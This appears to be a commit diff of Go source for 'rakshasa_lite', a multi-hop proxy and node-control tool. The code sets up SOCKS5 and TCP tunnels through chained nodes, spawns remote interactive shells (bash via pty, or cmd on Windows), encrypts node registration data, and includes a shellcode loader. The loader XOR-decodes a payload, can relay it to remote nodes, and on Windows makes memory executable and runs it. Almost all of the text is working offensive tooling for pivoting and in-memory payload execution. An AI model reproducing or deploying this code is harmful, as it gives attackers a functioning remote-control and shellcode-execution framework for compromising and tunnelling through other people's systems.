binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
l.openMsg = cert.RSAEncrypterByPrivByte(append(l.randkey, []byte(addrs[1])...))
currentNode.listenMap.Store(l.id, l)
n.Write(l.openOption, l.id, l.openMsg)
select {
case res := <-l.result:
if err, ok := res.(error); ok {
l.Close(remoteClose)
currentNode.listenMap.Delete(l.id)
return err
}
case <-time.After(common.CMD_TIMEOUT):
l.Close(remoteClose)
currentNode.listenMap.Delete(l.id)
return fmt.Errorf("listen %s fail time out", addrs[1])
}
fmt.Println("bind 启动成功")
//l := clientLock.Lock()
//clientListenMap[b.id] = b
//l.Unlock()
return nil
}
func StartRawConnect(str string, n *node) error {
addrs, err := common.ResolveTCPAddr(str)
if len(addrs) != 2 || err != nil {
return errors.New("-connect参数错误,格式为ip:port,remote_ip:remote_port")
}
addr1, _ := net.ResolveTCPAddr("tcp", addrs[1])
listen, err := net.Listen("tcp", addrs[0])
if err != nil {
return errors.New("监听本地端口" + addrs[0] + "失败 " + err.Error())
}
l := &clientListen{
id: common.GetID(),
localAddr: addrs[0],
remoteAddr: addrs[1],
listen: listen,
server: n,
typ: "connect",
randkey: make([]byte, 8),
}
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
currentNode.listenMap.Store(l.id, l)
go func() {
for {
conn, err := listen.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
s := &clientConnect{
conn: conn,
server: n,
randkey: l.randkey,
}
s.OnOpened()
if s.connect(common.RAW_TCP, addr1.IP.String(), uint16(addr1.Port)) {
go rawHandleLocal(s)
} else {
s.Close(nodeIsClose)
}
}
}()
return nil
}
func (l *clientListen) Close(reason string) {
l.connMap.Range(func(key, value interface{}) bool {
value.(*clientConnect).Close(reason)
l.connMap.Delete(key)
return true
})
l.server.listenMap.Delete(l.id)
if l.listen != nil {
l.listen.Close()
}
}
func rawHandleLocal(s *clientConnect) {
buf := make([]byte, common.MAX_PLAINTEXT)
for {
n, err := s.conn.Read(buf[8:])
if err != nil {
s.Close(err.Error())
return
}
var new_size int64
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
atomic.AddInt64(&s.windowsSize, new_size)
} else {
new_size = 0
}
buf[0] = byte(new_size)
buf[1] = byte(new_size >> 8)
buf[2] = byte(new_size >> 16)
buf[3] = byte(new_size >> 24)
buf[4] = byte(new_size >> 32)
buf[5] = byte(new_size >> 40)
buf[6] = byte(new_size >> 48)
buf[7] = byte(new_size >> 56)
data := make([]byte, 8+n)
copy(data, buf)
s.server.Write(common.CMD_CONN_MSG, s.id, buf[:8+n])
}
}
+64
View File
@@ -0,0 +1,64 @@
package server
import (
"bytes"
"net"
"rakshasa_lite/common"
"sync/atomic"
)
func (l *serverListen) Lisen() {
for {
c, err := l.listen.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
conn := &serverConnect{}
conn.conn = c
conn.address = c.RemoteAddr().String()
conn.node = l.node
conn.write = make(chan *bytes.Buffer, 64)
if l.isSocks5 {
conn.id = l.id
l.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, append(l.randkey, l.socks5Replay...))
go conn.handTcpReceive()
return
}
conn.id = l.node.storeConn(conn)
b := make([]byte, 4)
b[0] = byte(conn.id)
b[1] = byte(conn.id >> 8)
b[2] = byte(conn.id >> 16)
b[3] = byte(conn.id >> 24)
conn.node.Write(common.CMD_CONNECT_BYID, l.id, append(l.randkey, b...))
l.connMap.Store(conn.id, conn)
go conn.handTcpReceive()
}
}
func (l *serverListen) Close(reason string) {
if atomic.CompareAndSwapInt32(&l.close, 0, 1) {
if l.listen != nil {
l.listen.Close()
}
l.connMap.Range(func(key, value interface{}) bool {
if reason != remoteClose {
l.node.Write(common.CMD_DELETE_CONNID, value.(*serverConnect).id, nil)
}
l.connMap.Delete(key)
return true
})
if reason != remoteClose {
l.node.Write(common.CMD_DELETE_LISTEN, l.id, l.randkey)
}
}
}
+40
View File
@@ -0,0 +1,40 @@
package server
import (
"cert"
"encoding/binary"
"errors"
"math/rand"
"rakshasa_lite/common"
"time"
)
func StartRemoteSocks5(cfg *common.Addr, n *node) error {
l := &clientListen{
id: common.GetID(),
localAddr: "",
remoteAddr: cfg.Addr(),
server: n,
typ: "socks5",
result: make(chan interface{}),
randkey: make([]byte, 8),
}
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
l.openOption = common.CMD_REMOTE_SOCKS5
l.openMsg = cert.RSAEncrypterByPrivByte(append(l.randkey, cfg.String()...))
n.Write(l.openOption, l.id, l.openMsg)
currentNode.listenMap.Store(l.id, l)
select {
case res := <-l.result:
if err, ok := res.(error); ok {
l.Close(remoteClose)
return err
}
case <-time.After(common.CMD_TIMEOUT):
l.Close(remoteClose)
return errors.New("time out")
}
return nil
}
+98
View File
@@ -0,0 +1,98 @@
package server
/*
*高级shell功能
*node节点管理、remoteShell远程shellconfig配置管理
*/
import (
"github.com/creack/pty"
"io"
"os/exec"
"strconv"
"strings"
"sync"
)
var (
shellMapLock sync.Mutex
)
type StartCmdParam struct {
Param string
Size *pty.Winsize
}
type remoteCmd struct {
cmdStatus int32
cmd *exec.Cmd
id uint32
stdin io.WriteCloser
inChan chan []byte
translate func(in []byte) ([]byte, error)
ping, pong int64
}
func getRealPath(path string) string {
path_s := strings.Split(path, "/")
realpath := []string{}
if len(path_s) == 0 {
return "error"
}
for _, value := range path_s {
if value == ".." {
k := len(realpath)
kk := k - 1
realpath = append(realpath[:kk], realpath[k:]...)
} else {
realpath = append(realpath, value)
}
}
return strings.Join(realpath, "/")
}
func getNode(arg string) (*node, error) {
l := clientLock.RLock()
id, err := strconv.Atoi(arg)
if err == nil {
for _, n := range nodeMap {
if n.id == id && n.uuid != currentNode.uuid {
l.RUnlock()
return n, nil
}
}
} else {
if v, ok := nodeMap[arg]; ok && v.uuid != currentNode.uuid {
l.RUnlock()
return v, nil
}
}
l.RUnlock()
return connectNew(arg)
}
func getNodeWithCurrentNode(arg string) (*node, error) {
l := clientLock.RLock()
id, err := strconv.Atoi(arg)
if err == nil {
for _, n := range nodeMap {
if n.id == id {
l.RUnlock()
return n, nil
}
}
} else {
if v, ok := nodeMap[arg]; ok {
l.RUnlock()
return v, nil
}
}
l.RUnlock()
return connectNew(arg)
}
+100
View File
@@ -0,0 +1,100 @@
//go:build linux || darwin
// +build linux darwin
package server
import (
"errors"
"io"
"os/exec"
"rakshasa_lite/common"
"time"
"github.com/creack/pty"
)
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
if param.Param == "" {
param.Param = "/bin/bash"
}
shellMapLock.Lock()
defer func() {
shellMapLock.Unlock()
}()
cmd := &remoteCmd{
id: common.GetID(),
inChan: make(chan []byte),
translate: func(in []byte) ([]byte, error) { return in, nil },
pong: time.Now().Unix(),
}
cmd.cmd = exec.Command(param.Param)
f, err := pty.StartWithSize(cmd.cmd, param.Size)
if err != nil {
return err
}
cmd.stdin = f
outErr := make(chan error, 999)
n.shellMap.Store(cmd.id, cmd)
go func(cmd *remoteCmd) {
defer func() {
n.shellMap.Delete(cmd.id)
f.Close()
cmd.stdin.Close()
}()
errChan := make(chan error, 999)
go func() {
for {
select {
case b := <-cmd.inChan:
if len(b) == 0 { //ping数据包
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
} else {
_, err = cmd.stdin.Write(b)
if err != nil {
errChan <- err
}
}
case err = <-errChan:
cmd.cmd.Process.Kill()
case err = <-outErr:
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
cmd.cmd.Process.Kill()
return
case <-time.After(common.CMD_TIMEOUT): //避免超时
cmd.cmd.Process.Kill()
return
}
}
}()
go func() {
buf := make([]byte, common.MAX_PLAINTEXT)
for {
num, err2 := f.Read(buf)
if err2 != nil || io.EOF == err2 {
outErr <- errors.New("退出shell")
break
}
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
}
}()
cmd.cmd.Wait()
}(cmd)
n.Write(common.CMD_SHELL_RESULT, msgid, []byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 1})
return nil
}
+134
View File
@@ -0,0 +1,134 @@
//go:build windows
// +build windows
package server
import (
"errors"
"io"
"rakshasa_lite/common"
"time"
"os/exec"
)
func startCMD(n *node, msgid uint32, param StartCmdParam) error {
if param.Param == "" {
param.Param = "cmd"
}
shellMapLock.Lock()
defer func() {
shellMapLock.Unlock()
}()
cmd := &remoteCmd{
id: common.GetID(),
inChan: make(chan []byte),
translate: func(in []byte) ([]byte, error) { return in, nil },
pong: time.Now().Unix(),
}
c := exec.Command("chcp")
res, err := c.Output()
if err != nil {
return err
}
cmd.cmd = exec.Command(param.Param)
stdout, err := cmd.cmd.StdoutPipe()
if err != nil {
return err
}
cmd.stdin, err = cmd.cmd.StdinPipe()
if err != nil {
return err
}
stderr, err := cmd.cmd.StderrPipe()
if err != nil {
return err
}
err = cmd.cmd.Start()
if err != nil {
return err
}
outErr := make(chan error, 999)
n.shellMap.Store(cmd.id, cmd)
go func(cmd *remoteCmd) {
defer func() {
n.shellMap.Delete(cmd.id)
stdout.Close()
cmd.stdin.Close()
cmd.cmd.Process.Kill()
}()
var errchan = make(chan error, 10)
go func() {
for {
select {
case b := <-cmd.inChan:
if len(b) == 0 { //ping数据包
n.Write(common.CMD_SHELL_DATA, cmd.id, nil) //pong
} else {
_, err = cmd.stdin.Write(b)
if err != nil {
errchan <- err
}
}
case err = <-errchan:
cmd.cmd.Process.Kill()
case err = <-outErr:
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{0}, err.Error()...))
cmd.cmd.Process.Kill()
return
case <-time.After(common.CMD_TIMEOUT): //避免超时
cmd.cmd.Process.Kill()
return
}
}
}()
go func() {
buf := make([]byte, common.MAX_PLAINTEXT)
for {
num, err2 := stdout.Read(buf)
if err2 != nil || io.EOF == err2 {
outErr <- errors.New("退出shell")
break
}
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
}
}()
go func() {
buf := make([]byte, 1024)
for {
num, err2 := stderr.Read(buf)
if err2 != nil || io.EOF == err2 {
break
}
n.Write(common.CMD_SHELL_DATA, cmd.id, buf[:num])
//output, _ := libraries.GbkToUtf8(buf[:n])
}
}()
cmd.cmd.Wait()
}(cmd)
n.Write(common.CMD_SHELL_RESULT, msgid, append([]byte{1, byte(cmd.id), byte(cmd.id >> 8), byte(cmd.id >> 16), byte(cmd.id >> 24), 0}, res...))
return nil
}
+110
View File
@@ -0,0 +1,110 @@
package server
import (
"cert"
"encoding/base64"
"encoding/hex"
"encoding/json"
"errors"
"fmt"
"io/ioutil"
"os"
"os/exec"
"path/filepath"
"rakshasa_lite/common"
"time"
)
type ShellCodeStruct struct {
Str string
Key string
Param string
TimeOut int //second
}
func RunShellcodeWithDst(dst, shellcode, xorKey, param string, timeout int) error {
if dst != "" {
n, err := getNodeWithCurrentNode(dst)
if err != nil {
return fmt.Errorf("无法链接节点%s,错误%v", dst, err)
}
s := ShellCodeStruct{
Str: shellcode,
Key: xorKey,
Param: param,
TimeOut: timeout,
}
if n.uuid == currentNode.uuid {
return doShellcode(s)
}
res := make(chan interface{}, 1)
id := n.storeQuery(res)
b, _ := json.Marshal(s)
n.Write(common.CMD_RUN_SHELLCODE, id, cert.RSAEncrypterByPrivByte(b))
select {
case v := <-res:
fmt.Println("运行结果\n", v)
case <-time.After(time.Second * time.Duration(timeout) * 2):
fmt.Println("运行超时无结果")
}
} else {
b, err := ioutil.ReadFile(shellcode)
if err != nil {
return currentNodeRunShellcode(shellcode, xorKey, param)
} else {
return currentNodeRunShellcode(string(b), xorKey, param)
}
}
return nil
}
func currentNodeRunShellcode(shellcode, xorKey, param string) error {
common.ChangeArg(param)
b, err := hex.DecodeString(shellcode)
if err != nil {
b, err = base64.RawStdEncoding.DecodeString(shellcode)
}
if err != nil {
b = []byte(shellcode)
//fmt.Println(err)
//return errors.New("shellcode hex/base64 解码失败")
}
if len(xorKey) > 0 {
for i := 0; i < len(b); i++ {
k := i % (len(xorKey))
b[i] = b[i] ^ xorKey[k]
}
}
shellcodeRun(b)
return nil
}
func doShellcode(s ShellCodeStruct) error {
path, _ := os.Executable()
_, exeName := filepath.Split(path)
cmd := exec.Command("./"+exeName, "-shellcode", s.Str, "-sXor", s.Key, "-sParam", s.Param)
reschan := make(chan string, 2)
go func() {
r, _ := cmd.CombinedOutput()
reschan <- string(r)
}()
select {
case res := <-reschan:
return errors.New(res)
case <-time.After(time.Second * (time.Duration(s.TimeOut))):
return errors.New("已执行,等待超时")
}
}
+7
View File
@@ -0,0 +1,7 @@
package server
import "errors"
func shellcodeRun(b []byte) error {
return errors.New("linux暂不支持")
}
+8
View File
@@ -0,0 +1,8 @@
package server
import "errors"
func shellcodeRun(b []byte) error {
return errors.New("linux暂不支持")
}
+38
View File
@@ -0,0 +1,38 @@
//go:build windows
// +build windows
package server
import (
"fmt"
"syscall"
"unsafe"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
old32 = syscall.MustLoadDLL("ole32.dll")
CoTaskMemAlloc = old32.MustFindProc("CoTaskMemAlloc")
)
func shellcodeRun(code []byte) error {
defer func() {
if err := recover(); err != nil {
fmt.Println(err)
}
}()
VirtualProtect := kernel32.MustFindProc("VirtualProtect")
l := uintptr(len(code))
pwstrLocal, _, _ := CoTaskMemAlloc.Call(l)
var old int
_, _, _ = VirtualProtect.Call(pwstrLocal, l, 0x40, uintptr(unsafe.Pointer(&old)))
h := [3]uintptr{pwstrLocal, l, l}
s := *(*[]byte)(unsafe.Pointer(&h))
copy(s, code)
syscall.Syscall(pwstrLocal, 0, 0, 0, 0)
return nil
}
+506
View File
@@ -0,0 +1,506 @@
package server
import (
"bytes"
"cert"
"encoding/binary"
"errors"
"fmt"
"log"
"math/rand"
"net"
"rakshasa_lite/common"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"unsafe"
)
const (
UDP_PORT_MIN = 30000
UDP_PORT_MAX = 60000
SOCKES5_VERSION = 5
)
var (
SOCKES5_AUTH_SUSSCES []byte = []byte{5, 0}
SOCKES5_AUTH_SUSSCES_PASSWD []byte = []byte{5, 2}
PROTOCOL_ERR = errors.New("protocolErr")
)
const (
CONN_AUTH_CLOSE = 0
CONN_AUTH_NONE = 1
CONN_AUTH_PW = 2
CONN_AUTH_OK = 3
CONN_AUTH_MESSAGE = 4
CONN_REMOTE_CLOSE = 0
CONN_REMOTE_OPEN = 1
)
type clientConnect struct {
cfg *common.Addr
windowsSize int64
isClose int32
conn net.Conn
udpConn net.Conn
remote int32
auth int
server *node
id uint32
wait chan int
close string
udpMap sync.Map
udpRepData []byte
addrData []byte
listenId uint32
randkey []byte
}
func (s *clientConnect) Write(b []byte) {
switch b[0] {
case common.CMD_CONNECT_BYIDADDR_RESULT:
switch common.NetWork(b[9]) {
case common.SOCKS5_CMD_CONNECT:
if b[10] != 1 {
go func() { s.Close("") }()
} else {
//发送成功消息
s.auth = CONN_AUTH_MESSAGE
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
}
case common.SOCKS5_CMD_BIND:
s.auth = CONN_AUTH_MESSAGE
s.conn.Write(append([]byte{5, 0, 0}, s.addrData...))
case common.RAW_TCP:
if b[10] != 1 {
go func() { s.Close("") }()
}
default:
log.Println("socks5 未处理")
}
case common.CMD_CONN_MSG:
s.conn.Write(b[1:])
s.Addwindow(int64(-len(b[1:])))
case common.CMD_CONN_UDP_MSG:
s.udpConn.Write(b[1:])
}
}
var remoteClose = "服务器要求远程关闭"
var nodeIsClose = "节点已经断开连接"
func (s *clientConnect) Close(msg string) {
if atomic.CompareAndSwapInt32(&s.isClose, 0, 1) {
<-s.wait
s.wait <- common.CONN_STATUS_CLOSE
s.auth = CONN_AUTH_CLOSE
s.server.connMap.Delete(s.id)
if msg == "" {
msg = "未知关闭"
}
s.close = msg
if msg == remoteClose {
s.remote = CONN_REMOTE_CLOSE
} else if s.remote == CONN_REMOTE_OPEN {
s.remote = CONN_REMOTE_CLOSE
s.Remoteclose()
}
s.conn.Close()
if s.udpConn != nil {
s.udpConn.Close()
}
s.udpMap.Range(func(k, _ interface{}) bool {
s.udpMap.Delete(k)
return true
})
}
}
func (s *clientConnect) Addwindow(window int64) {
windows_size := atomic.AddInt64(&s.windowsSize, window)
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
if windows_size < windows_update_size/2 { //扩大窗口
if size := windows_update_size - s.windowsSize; size > 0 {
atomic.AddInt64(&s.windowsSize, size)
go func() {
buf := make([]byte, 8)
buf[0] = byte(size & 255)
buf[1] = byte(size >> 8 & 255)
buf[2] = byte(size >> 16 & 255)
buf[3] = byte(size >> 24 & 255)
buf[4] = byte(size >> 32 & 255)
buf[5] = byte(size >> 40 & 255)
buf[6] = byte(size >> 48 & 255)
buf[7] = byte(size >> 56 & 255)
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
}()
}
}
}
func StartSocks5(cfg *common.Addr, dst []string) error {
var target *node
var err error
if len(dst) == 0 {
target = currentNode
} else {
target, err = GetNodeFromAddrs(dst)
if err != nil {
return err
}
}
l := &clientListen{
server: target,
localAddr: cfg.Addr(),
id: common.GetID(),
typ: "socks5",
randkey: make([]byte, 8),
}
binary.LittleEndian.PutUint64(l.randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
l.listen, err = StartSocks5WithServer(cfg, target, l.id)
if err != nil {
return err
}
currentNode.listenMap.Store(l.id, l)
return nil
}
func StartSocks5WithServer(cfg *common.Addr, n *node, id uint32) (net.Listener, error) {
l, err := net.Listen("tcp", cfg.Addr())
if err != nil {
return nil, err
}
randkey := make([]byte, 8)
binary.LittleEndian.PutUint64(randkey, uint64(rand.NewSource(time.Now().UnixNano()).Int63()))
fmt.Println("socks5 start ", cfg.Addr())
go func() {
for {
conn, err := l.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
c := &clientConnect{
cfg: cfg,
conn: conn,
server: n,
listenId: id,
randkey: randkey,
}
go handleSocks5Local(c)
}
}()
return l, nil
}
func (s *clientConnect) OnOpened() (close bool) {
s.wait = make(chan int, 1)
s.auth = CONN_AUTH_NONE
s.remote = CONN_REMOTE_OPEN
s.windowsSize = 0
s.wait <- common.CONN_STATUS_OK
return
}
// 监听本地服务
func handleSocks5Local(s *clientConnect) {
defer func() {
if err := recover(); err != nil {
}
}()
b := make([]byte, common.MAX_PLAINTEXT-8)
if s.OnOpened() {
s.Close("无法获得服务器连接")
}
for {
n, err := s.conn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
data := b[:n]
switch s.auth {
case CONN_AUTH_NONE:
if len(data) > 2 {
if data[0] == 5 {
if s.cfg.User() != "" && s.cfg.Password() != "" {
s.conn.Write(SOCKES5_AUTH_SUSSCES_PASSWD)
s.auth = CONN_AUTH_PW
} else {
s.conn.Write(SOCKES5_AUTH_SUSSCES)
s.auth = CONN_AUTH_OK
}
}
}
case CONN_AUTH_PW:
if s.cfg.User() != "" && s.cfg.Password() != "" {
if len(data) > 4 {
defer recover()
user := string(data[2 : 2+data[1]])
password := string(data[3+data[1] : 3+data[1]+data[2+data[1]]])
if user == s.cfg.User() && password == s.cfg.Password() {
s.conn.Write([]byte{5, 0})
s.auth = CONN_AUTH_OK
} else {
s.conn.Write([]byte{5, 1})
}
}
} else {
s.conn.Write([]byte{5, 0})
s.auth = CONN_AUTH_OK
}
case CONN_AUTH_OK:
s.addrData = data[3:]
switch common.NetWork(data[1]) {
case common.SOCKS5_CMD_CONNECT:
addr, port := socks5ReadAddr(data)
if !s.connect(common.SOCKS5_CMD_CONNECT, addr, port) {
s.Close(nodeIsClose)
}
case common.SOCKS5_CMD_BIND:
addr, port := socks5ReadAddr(data)
if !s.connect(common.SOCKS5_CMD_BIND, addr, port) {
s.Close(nodeIsClose)
}
case common.SOCKS5_CMD_UDP:
localIP := s.conn.LocalAddr().String()
localIP = localIP[:strings.Index(localIP, ":")]
//找一个能用的udp端口
var port uint16
for i := uint16(UDP_PORT_MIN); i <= UDP_PORT_MAX; i++ {
s.udpConn, err = net.ListenUDP("udp", &net.UDPAddr{
IP: net.ParseIP(localIP),
Port: int(i),
})
if err == nil {
port = i
break
}
}
if s.udpConn == nil {
data[0] = 5
data[1] = 1 //RepRuleFailure
s.conn.Write(data)
continue
}
repdata := []byte{5, 0, 0, 1, 0, 0, 0, 0, byte(port >> 8), byte(port)}
ipb := ipToByte(localIP)
addr, port := socks5ReadAddr(data)
if s.connect(common.SOCKS5_CMD_UDP, addr, port) {
copy(repdata[4:], ipb)
s.conn.Write(repdata)
go handleSocks5Udp(s)
} else {
s.Close(nodeIsClose)
}
default:
data[0] = 5
data[1] = 7 //RepCmdNotSupported
s.conn.Write(data)
}
case CONN_AUTH_MESSAGE:
//binary.LittleEndian.PutUint32(outbuf[5:], crc32.ChecksumIEEE(data)+conn.msgno)
//conn.msgno++
var new_size int64
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
atomic.AddInt64(&s.windowsSize, new_size)
} else {
new_size = 0
}
buf := make([]byte, 8)
buf[0] = byte(new_size)
buf[1] = byte(new_size >> 8)
buf[2] = byte(new_size >> 16)
buf[3] = byte(new_size >> 24)
buf[4] = byte(new_size >> 32)
buf[5] = byte(new_size >> 40)
buf[6] = byte(new_size >> 48)
buf[7] = byte(new_size >> 56)
s.server.Write(common.CMD_CONN_MSG, s.id, append(buf, data...))
}
}
}
func handleSocks5Udp(s *clientConnect) {
var b = make([]byte, 65535)
for {
n, err := s.udpConn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
data := b[:n]
if b[2] != 0 {
//不支持分片
continue
}
data = data[3:]
common.GetIDLock.Lock()
var udpid uint32
switch data[0] {
case 1:
ip := fmt.Sprintf("%d.%d.%d.%d:%d", data[1], data[2], data[3], data[4], int(data[5])<<8|int(data[6]))
if v, ok := s.udpMap.Load(ip); !ok {
udps := &clientConnect{
server: s.server,
randkey: s.randkey,
}
udps.udpConn = s.udpConn
udps.id = udps.server.storeConn(s)
udpid = udps.id
udps.udpRepData = make([]byte, 10)
copy(udps.udpRepData, data)
udps.udpMap.Store(ip, udpid)
} else {
udpid = v.(uint32)
}
case 3:
case 4:
}
common.GetIDLock.Unlock()
buf := make([]byte, 4)
buf[0] = byte(udpid)
buf[1] = byte(udpid >> 8)
buf[2] = byte(udpid >> 16)
buf[3] = byte(udpid >> 24)
s.server.Write(common.CMD_CONN_UDP_MSG, udpid, append(buf, data...))
}
}
func (s *clientConnect) connect(command common.NetWork, addr string, port uint16) bool {
if atomic.LoadInt32(&s.server.isClose) == 1 {
s.server, _ = GetNodeFromAddrs(s.server.reConnectAddrs)
}
if atomic.LoadInt32(&s.server.isClose) == 1 {
return false
}
ports := strconv.Itoa(int(port))
buf := make([]byte, 2+len(addr)+len(ports))
s.id = s.server.storeConn(s)
buf[0] = byte(command)
copy(buf[1:], addr)
buf[1+len(addr)] = ':'
copy(buf[2+len(addr):], ports)
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, cert.RSAEncrypterByPrivByte(append(s.randkey, buf...)))
if value, ok := s.server.listenMap.Load(s.listenId); ok {
switch v := value.(type) {
case *serverListen:
v.connMap.Store(s.id, s)
case *clientListen:
v.connMap.Store(s.id, s)
}
}
return true
}
func Bytes2str(b []byte) string {
return *(*string)(unsafe.Pointer(&b))
}
func (s *clientConnect) Remoteclose() {
s.close = "本地要求远程关闭"
buf := make([]byte, 4)
buf[0] = byte(s.id)
buf[1] = byte(s.id >> 8)
buf[2] = byte(s.id >> 16)
buf[3] = byte(s.id >> 24)
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, append(s.randkey, buf...))
}
func ipToByte(ip string) []byte {
var b []byte
if strings.Contains(ip, ".") {
for _, s := range strings.Split(ip, ".") {
i, _ := strconv.Atoi(s)
b = append(b, byte(i))
}
}
return b
}
func socks5ReadAddr(data []byte) (addr string, port uint16) {
port = binary.BigEndian.Uint16(data[len(data)-2:])
switch data[3] {
case 1: //ipv4
str := make([][]byte, 4)
for k, v := range data[4:8] {
str[k] = []byte(strconv.Itoa(int(v)))
}
addr = string(bytes.Join(str, []byte{46}))
case 3: //域名
addr = string(data[5 : len(data)-2])
case 4: //ipv6
strs := make([]string, 0)
for i := 4; i < 20; i += 2 {
str := ""
for j := 0; j < 2; j++ {
str += fmt.Sprintf("%0.2x", data[i+j])
}
str = strings.TrimLeft(str, "0")
if str == "" {
str = "0"
}
strs = append(strs, str)
}
addr = "[" + strings.Join(strs, ":") + "]"
default:
}
return
}
+1 -1
View File
@@ -30,7 +30,7 @@ rakshasa是一个用Go编写的程序,旨在创建一个能够实现**多级
- Go语言:因为Go语言是一门高效的并发编程语言,非常适合网络编程。
- github.com/abiosoft/ishell包:实现各操作系统中的CLI。
- github.com/creack/pty包:实现Linux伪终端,可以执行交互式命令与更高级的终端显示效果。
- github.com/dlclark/regexp2包:全功能正则表达式
- github.com/farmerx/gorsa包:实现私钥加密公钥解密,用来解决节点权限限制
## 4. 项目结构
+30 -28
View File
@@ -2,6 +2,7 @@ package server
import (
"bytes"
"cert"
"crypto/tls"
"encoding/json"
"fmt"
@@ -9,9 +10,7 @@ import (
"io"
"net"
"net/url"
"os"
"rakshasa/aes"
"rakshasa/cert"
"rakshasa/common"
"strconv"
"strings"
@@ -54,6 +53,7 @@ type serverListen struct {
replayid uint32
id uint32
connMap sync.Map
randkey []byte
}
type serverConnect struct {
close int32
@@ -67,6 +67,7 @@ type serverConnect struct {
wait chan int
closeReason string
randkey []byte
}
// 中转与最终出口
@@ -281,14 +282,14 @@ func (conn *serverConnect) doConnectTcp(network common.NetWork, addr string) {
buf := make([]byte, 2)
buf[0] = byte(network)
buf[1] = 0
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
conn.Close("fd拨号失败")
return
} else {
buf := make([]byte, 2)
buf[0] = byte(network)
buf[1] = 1
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
if conn.close == 0 {
conn.conn = netconn
go conn.handTcpReceive()
@@ -305,7 +306,7 @@ func (conn *serverConnect) doConnectTcpWithHttpProxy(network common.NetWork, add
if res {
buf[1] = 1
}
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, buf)
conn.node.Write(common.CMD_CONNECT_BYIDADDR_RESULT, conn.id, append(conn.randkey, buf...))
}
if i := strings.IndexByte(addr, 32); i > -1 {
@@ -504,13 +505,13 @@ func (c *Conn) handlerNodeRead() {
newNode.do(msg)
}
} else if msg.To == currentNode.uuid {
func() {
l := clientLock.RLock()
v, ok := nodeMap[msg.From]
l.RUnlock()
if ok && v.port > 0 {
if ok && v.port != 0 {
c.inChan <- func() {
v.do(msg)
}
} else {
@@ -564,11 +565,13 @@ func (c *Conn) handlerNodeRead() {
res <- err
return
}
v.hostName = nmsg.HostName
v.uuid = nmsg.UUID
v.port = nmsg.Port
v.mainIp = nmsg.MainIp
v.goos = nmsg.Goos
v.hostName = cert.RSADecrypterStr(nmsg.HostName)
v.uuid = cert.RSADecrypterStr(nmsg.UUID)
if v.port, err = strconv.Atoi(cert.RSADecrypterStr(nmsg.Port)); err != nil {
v.port = -1
}
v.mainIp = cert.RSADecrypterStr(nmsg.MainIp)
v.goos = cert.RSADecrypterStr(nmsg.Goos)
res <- nil
} else {
v.waitMsg = append(v.waitMsg, msg)
@@ -687,21 +690,13 @@ func (c *Conn) handle() {
func (c *Conn) reg() error {
var err error
c.nodeConn, err = tls.Dial("tcp", c.nodeaddr, cert.Tlsconfig.Clone())
if err != nil {
return err
reg := &common.RegMsg{
UUID: currentNode.uuid,
MainIp: cert.RSAEncrypterStr(currentNode.mainIp),
Port: cert.RSAEncrypterStr(strconv.Itoa(currentNode.port)),
Goos: cert.RSAEncrypterStr(currentNode.goos),
Hostname: cert.RSAEncrypterStr(currentNode.hostName),
}
reg := common.RegMsg{
RegAddr: c.nodeaddr,
UUID: currentNode.uuid,
MainIp: currentNode.mainIp,
Port: currentNode.port,
Goos: currentNode.goos,
}
reg.Hostname, _ = os.Hostname()
regb, _ := json.Marshal(reg)
msg := common.Msg{
From: currentNode.uuid,
@@ -709,7 +704,6 @@ func (c *Conn) reg() error {
CmdOpteion: common.CMD_REG,
CmdData: regb,
}
if err = c.tlsWrite(msg.Marshal()); err != nil {
return err
}
@@ -733,7 +727,15 @@ func (c *Conn) Write(b []byte) {
func (c *Conn) tlsWrite(b []byte) error {
c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE))
_, err := c.nodeConn.Write(b)
n, err := c.nodeConn.Write(b)
if common.Debug {
if c.node!=nil{
fmt.Println("writeto", c.node.uuid, n)
}else{
fmt.Println("writeto",common.NoneUUID, n)
}
}
if err != nil {
c.Close("Write " + err.Error())
upNodeWrite <- b
+21 -11
View File
@@ -2,12 +2,15 @@ package server
import (
"bytes"
"encoding/binary"
"fmt"
"hash/crc32"
"log"
"math/rand"
"net"
"net/url"
"os"
"cert"
"rakshasa/common"
"rakshasa/httppool"
"runtime/debug"
@@ -15,6 +18,7 @@ import (
"strings"
"sync"
"sync/atomic"
"time"
"github.com/luyu6056/ishell"
)
@@ -42,32 +46,34 @@ type httpProxyClient struct {
